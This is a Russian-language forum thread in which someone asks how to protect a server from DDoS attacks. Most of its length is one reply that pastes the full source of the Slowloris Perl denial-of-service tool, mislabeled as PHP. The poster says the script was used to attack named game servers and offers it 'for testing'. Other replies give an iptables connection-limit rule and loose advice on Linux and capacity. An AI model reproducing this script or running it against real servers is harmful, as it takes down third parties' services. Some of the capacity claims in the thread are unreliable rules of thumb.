Сообщений: 148
Тем: 9
Зарегистрирован: Sep 2009
Репутация:
0
Какой программой можно защититься от ддос атак и как её настроить?
Сообщений: 430
Тем: 7
Зарегистрирован: Dec 2009
Репутация:
5,551
От DDoS ни одна программа не спасет. Нужна "зелезная" защита. От DoS может спасти грамотная настройка фаервола. Кури мануалы.
Сообщений: 396
Тем: 45
Зарегистрирован: Dec 2009
Navvy Написал:От DDoS ни одна программа не спасет. Нужна "зелезная" защита. От DoS может спасти грамотная настройка фаервола. Кури мануалы. Я не знаю как можно назвать эти штуки... ну короче назовём СКРИПТАМИ!!!
Так вот, эти скрипты ставяться в каталог с сайтом, и правельным образом настраиваються... и родключаються к сайту!!!
Сообщений: 509
Тем: 30
Зарегистрирован: Nov 2009
Arsenn Написал:Какой программой можно защититься от ддос атак и как её настроить?
iptables прошла проверку на многих порталах, серверах, сайтах
Вот пример скрипта, написанный на perl, им ддосили Asterios, l2alpha.net и много всяких серверов и проект L2Open! ддосят с помощью пакетов. Не нужно экспериментировать, это может плохо для вас закончиться.
Скрипт выложен для тестирования на ваших серверах.
PHP код: <?php
#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;
#use IO::Socket::SSL;
use Getopt::Long;
use Config;
$SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors
print <<EOTEXT;
[1m
CCCCCCCCCCOOCCOOOOO888\@8\@8888OOOOCCOOO888888888\@\@\@\@\@\@\@\@\@8\@8\@\@\@\@888OOCooocccc::::
CCCCCCCCCCCCCCCOO888\@888888OOOCCCOOOO888888888888\@88888\@\@\@\@\@\@\@888\@8OOCCoococc:::
CCCCCCCCCCCCCCOO88\@\@888888OOOOOOOOOO8888888O88888888O8O8OOO8888\@88\@\@8OOCOOOCoc::
CCCCooooooCCCO88\@\@8\@88\@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888\@8888OOOCc::::
CooCoCoooCCCO8\@88\@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:
ooooooCoCCC88\@88888\@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88\@888OCoccc
ooooCCOO8O888888888\@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo
oCCCCCCO8OOOCCCOO88\@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC
oCCCCCOOO88OCooCO88\@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC
oCCCCOO88OOCCCCOO8\@\@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO
CCCOOOO88OOCCOOO8\@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O
CCCOO88888OOCOO8\@\@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
OOOOOO88888OOOO8\@8\@8Ooc:.:...cOO8O88c. . .coOOO888OOOOCoooooccoCOOOOOCOOOO
OOOOO888\@8\@88888888Oo:. . ...cO888Oc.. :oOOOOOOOOOCCoocooCoCoCOOOOOOOO
COOO888\@88888888888Oo:. .O8888C: .oCOo. ...cCCCOOOoooooocccooooooooCCCOO
CCCCOO888888O888888Oo. .o8Oo. .cO88Oo: :. .:..ccoCCCooCooccooccccoooooCCCC
coooCCO8\@88OO8O888Oo:::... .. :cO8Oc. . ..... :. .:ccCoooooccoooocccccooooCCC
:ccooooCO888OOOO8OOc..:...::. .co8\@8Coc::.. .... ..:cooCooooccccc::::ccooCCooC
.:::coocccoO8OOOOOOC:..::....coCO8\@8OOCCOc:... ....:ccoooocccc:::::::::cooooooC
....::::ccccoCCOOOOOCc......:oCO8\@8\@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo
.......::::::::cCCCCCCoocc:cO888\@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc
...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co
.............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo
..... ............. .coocoooCCoco:::ccccccc:::ccc::.......... ....:::cc::::coC
. . ... .... .. .:cccoCooc:.. ::cccc:::c:.. ......... ......::::c:cccco
. .. ... .. .. .. ..:...:cooc::cccccc:..... ......... .....:::::ccoocc
. . .. ..::cccc:.::ccoocc:. ........... .. . ..:::.:::::::ccco
[31m
Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
[m
EOTEXT
my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
my $result = GetOptions(
'shost=s' => \$shost,
'dns=s' => \$host,
'httpready' => \$httpready,
'num=i' => \$connections,
'cache' => \$cache,
'port=i' => \$port,
'https' => \$ssl,
'tcpto=i' => \$tcpto,
'test' => \$test,
'timeout=i' => \$timeout,
'version' => \$version,
);
if ($version) {
print "Version 0.7\n";
exit;
}
unless ($host) {
print "Usage:\n\n\tperl $0 -dns [[url]www.example.com][/url] -options\n";
print "\n\tType 'perldoc $0' for help with options.\n\n";
exit;
}
unless ($port) {
$port = 80;
print "Defaulting to port 80.\n";
}
unless ($tcpto) {
$tcpto = 5;
print "Defaulting to a 5 second tcp connection timeout.\n";
}
unless ($test) {
unless ($timeout) {
$timeout = 100;
print "Defaulting to a 100 second re-try timeout.\n";
}
unless ($connections) {
$connections = 1000;
print "Defaulting to 1000 connections.\n";
}
}
my $usemultithreading = 0;
if ( $Config{usethreads} ) {
print "Multithreading enabled.\n";
$usemultithreading = 1;
use threads;
use threads::shared;
}
else {
print "No multithreading capabilites found!\n";
print "Slowloris will be slower than normal as a result.\n";
}
my $packetcount : shared = 0;
my $failed : shared = 0;
my $connectioncount : shared = 0;
srand() if ($cache);
if ($shost) {
$sendhost = $shost;
}
else {
$sendhost = $host;
}
if ($httpready) {
$method = "POST";
}
else {
$method = "GET";
}
if ($test) {
my @times = ( "2", "30", "90", "240", "500" );
my $totaltime = 0;
foreach (@times) {
$totaltime = $totaltime + $_;
}
$totaltime = $totaltime / 60;
print "This test could take up to $totaltime minutes.\n";
my $delay = 0;
my $working = 0;
my $sock;
if ($ssl) {
if (
$sock = new IO::Socket::SSL(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working = 1;
}
}
else {
if (
$sock = new IO::Socket::INET(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working = 1;
}
}
if ($working) {
if ($cache) {
$rand = "?" . int( rand(99999999999999) );
}
else {
$rand = "";
}
my $primarypayload =
"GET /$rand HTTP/1.1\r\n"
. "Host: $sendhost\r\n"
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
. "Content-Length: 42\r\n";
if ( print $sock $primarypayload ) {
print "Connection successful, now comes the waiting game...\n";
}
else {
print
"That's odd - I connected but couldn't send the data to $host:$port.\n";
print "Is something wrong?\nDying.\n";
exit;
}
}
else {
print "Uhm... I can't connect to $host:$port.\n";
print "Is something wrong?\nDying.\n";
exit;
}
for ( my $i = 0 ; $i <= $#times ; $i++ ) {
print "Trying a $times[$i] second delay: \n";
sleep( $times[$i] );
if ( print $sock "X-a: b\r\n" ) {
print "\tWorked.\n";
$delay = $times[$i];
}
else {
if ( $SIG{__WARN__} ) {
$delay = $times[ $i - 1 ];
last;
}
print "\tFailed after $times[$i] seconds.\n";
}
}
if ( print $sock "Connection: Close\r\n\r\n" ) {
print "Okay that's enough time. Slowloris closed the socket.\n";
print "Use $delay seconds for -timeout.\n";
exit;
}
else {
print "Remote server closed socket.\n";
print "Use $delay seconds for -timeout.\n";
exit;
}
if ( $delay < 166 ) {
print <<EOSUCKS2BU;
Since the timeout ended up being so small ($delay seconds) and it generally
takes between 200-500 threads for most servers and assuming any latency at
all... you might have trouble using Slowloris against this target. You can
tweak the -timeout flag down to less than 10 seconds but it still may not
build the sockets in time.
EOSUCKS2BU
}
}
else {
print
"Connecting to $host:$port every $timeout seconds with $connections sockets:\n";
if ($usemultithreading) {
domultithreading($connections);
}
else {
doconnections( $connections, $usemultithreading );
}
}
sub doconnections {
my ( $num, $usemultithreading ) = @_;
my ( @first, @sock, @working );
my $failedconnections = 0;
$working[$_] = 0 foreach ( 1 .. $num ); #initializing
$first[$_] = 0 foreach ( 1 .. $num ); #initializing
while (1) {
$failedconnections = 0;
print "\t\tBuilding sockets.\n";
foreach my $z ( 1 .. $num ) {
if ( $working[$z] == 0 ) {
if ($ssl) {
if (
$sock[$z] = new IO::Socket::SSL(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working[$z] = 1;
}
else {
$working[$z] = 0;
}
}
else {
if (
$sock[$z] = new IO::Socket::INET(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working[$z] = 1;
$packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK
}
else {
$working[$z] = 0;
}
}
if ( $working[$z] == 1 ) {
if ($cache) {
$rand = "?" . int( rand(99999999999999) );
}
else {
$rand = "";
}
my $primarypayload =
"$method /$rand HTTP/1.1\r\n"
. "Host: $sendhost\r\n"
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
. "Content-Length: 42\r\n";
my $handle = $sock[$z];
if ($handle) {
print $handle "$primarypayload";
if ( $SIG{__WARN__} ) {
$working[$z] = 0;
close $handle;
$failed++;
$failedconnections++;
}
else {
$packetcount++;
$working[$z] = 1;
}
}
else {
$working[$z] = 0;
$failed++;
$failedconnections++;
}
}
else {
$working[$z] = 0;
$failed++;
$failedconnections++;
}
}
}
print "\t\tSending data.\n";
foreach my $z ( 1 .. $num ) {
if ( $working[$z] == 1 ) {
if ( $sock[$z] ) {
my $handle = $sock[$z];
if ( print $handle "X-a: b\r\n" ) {
$working[$z] = 1;
$packetcount++;
}
else {
$working[$z] = 0;
#debugging info
$failed++;
$failedconnections++;
}
}
else {
$working[$z] = 0;
#debugging info
$failed++;
$failedconnections++;
}
}
}
print
"Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";
sleep($timeout);
}
}
sub domultithreading {
my ($num) = @_;
my @thrs;
my $i = 0;
my $connectionsperthread = 50;
while ( $i < $num ) {
$thrs[$i] =
threads->create( \&doconnections, $connectionsperthread, 1 );
$i += $connectionsperthread;
}
my @threadslist = threads->list();
while ( $#threadslist > 0 ) {
$failed = 0;
}
}
Сообщений: 148
Тем: 9
Зарегистрирован: Sep 2009
Репутация:
0
Navvy Написал:От DDoS ни одна программа не спасет. Нужна "зелезная" защита. От DoS может спасти грамотная настройка фаервола. Кури мануалы.
читал я уже мануалы, да вот чет не помогает особо.
GoodShadow, не совсем понятно что вы пытались сказать, все что я понял - нужно качать программу ptables
Сообщений: 430
Тем: 7
Зарегистрирован: Dec 2009
Репутация:
5,551
iptables - это линуксовый фаервол.
Вот простой пример защиты от DoS атаки, не путай с DDoS, это разные вещи.
Цепочка правил для iptables
Цитата:# если новое соединение на 80 порт на внешнем интерфейсе идем в цепочку LIMIT
-A INPUT -p tcp -m tcp -m state -i eth0 --dport 80 --state NEW -j LIMIT
# Если соединений меньше 10/сек пропускаем
-A LIMIT -m limit --limit 10/second -j ACCEPT
# иначе отбрасываем
-A LIMIT -j DROP
Если у тебя винда, ищи альтернативу. Что там нынче на виндовые серваки ставят, не знаю, давно уже пересел на Linux и радуюсь жизни.
Сообщений: 509
Тем: 30
Зарегистрирован: Nov 2009
Navvy Написал:iptables - это линуксовый фаервол.
Вот простой пример защиты от DoS атаки, не путай с DDoS, это разные вещи.
Цепочка правил для iptables
Если у тебя винда, ищи альтернативу. Что там нынче на виндовые серваки ставят, не знаю, давно уже пересел на Linux и радуюсь жизни.
Ты забыл про пакеты и ограничения подключений к порту с 1 ip, речь идёт о сервере а не про веб обвязку
Сообщений: 148
Тем: 9
Зарегистрирован: Sep 2009
Репутация:
0
я вот хочу перейти на линукс, тогда сразу несколько вопросво
1. Сервер wow под линукс так же ставить как и под винду? и пойдет ли вообще?
2. Линукс хоть как то защищает от ддос атак? я слышал что куда сложнее атаковать сервер если стоит не винда, а линукс.
3. 2х ядерный процессор оперативка 4 гига. Сколько выдержит онлайн комп если будет стоять винда хр и сколько выдержит онлайн если будет стоять линукс?
Сообщений: 509
Тем: 30
Зарегистрирован: Nov 2009
Arsenn Написал:я вот хочу перейти на линукс, тогда сразу несколько вопросов.
1. Сервер wow под линукс так же ставить как и под винду? и пойдет ли вообще?
2. Линукс хоть как то защищает от ддос атак? я слышал что куда сложнее атаковать сервер если стоит не винда, а линукс.
3. 2х ядерный процессор оперативка 4 гига. Сколько выдержит онлайн комп если будет стоять винда хр и сколько выдержит онлайн если будет стоять линукс?
1) тут под wine (виндус эмулятором устанавливается сервере WoW тоже то и Windows, тока Windows будет проще поставить и стабильности линукса ты от такого сервера не получишь. По тому что это приложение вин запущено под лин....
2) хорошо настроенный iptables самая хорошая защита от ДДоса и прочих не желательных проблем.
3) Во основном зависит от интернет канала, в среднем 1 пользователь потребляет 54кбита/sec ну на 4 ГБ можно 500 человек без лагов потянуть (1) нужен стабильный сервер, 2) нужен хороший интернет канал, быстрые ХДшники)
Сообщений: 979
Тем: 33
Зарегистрирован: Jan 2010
Репутация:
5,857
единственное что реал может защитить от ДДОС это норм настроеные шлюзы у провайдера! и то на факт!
|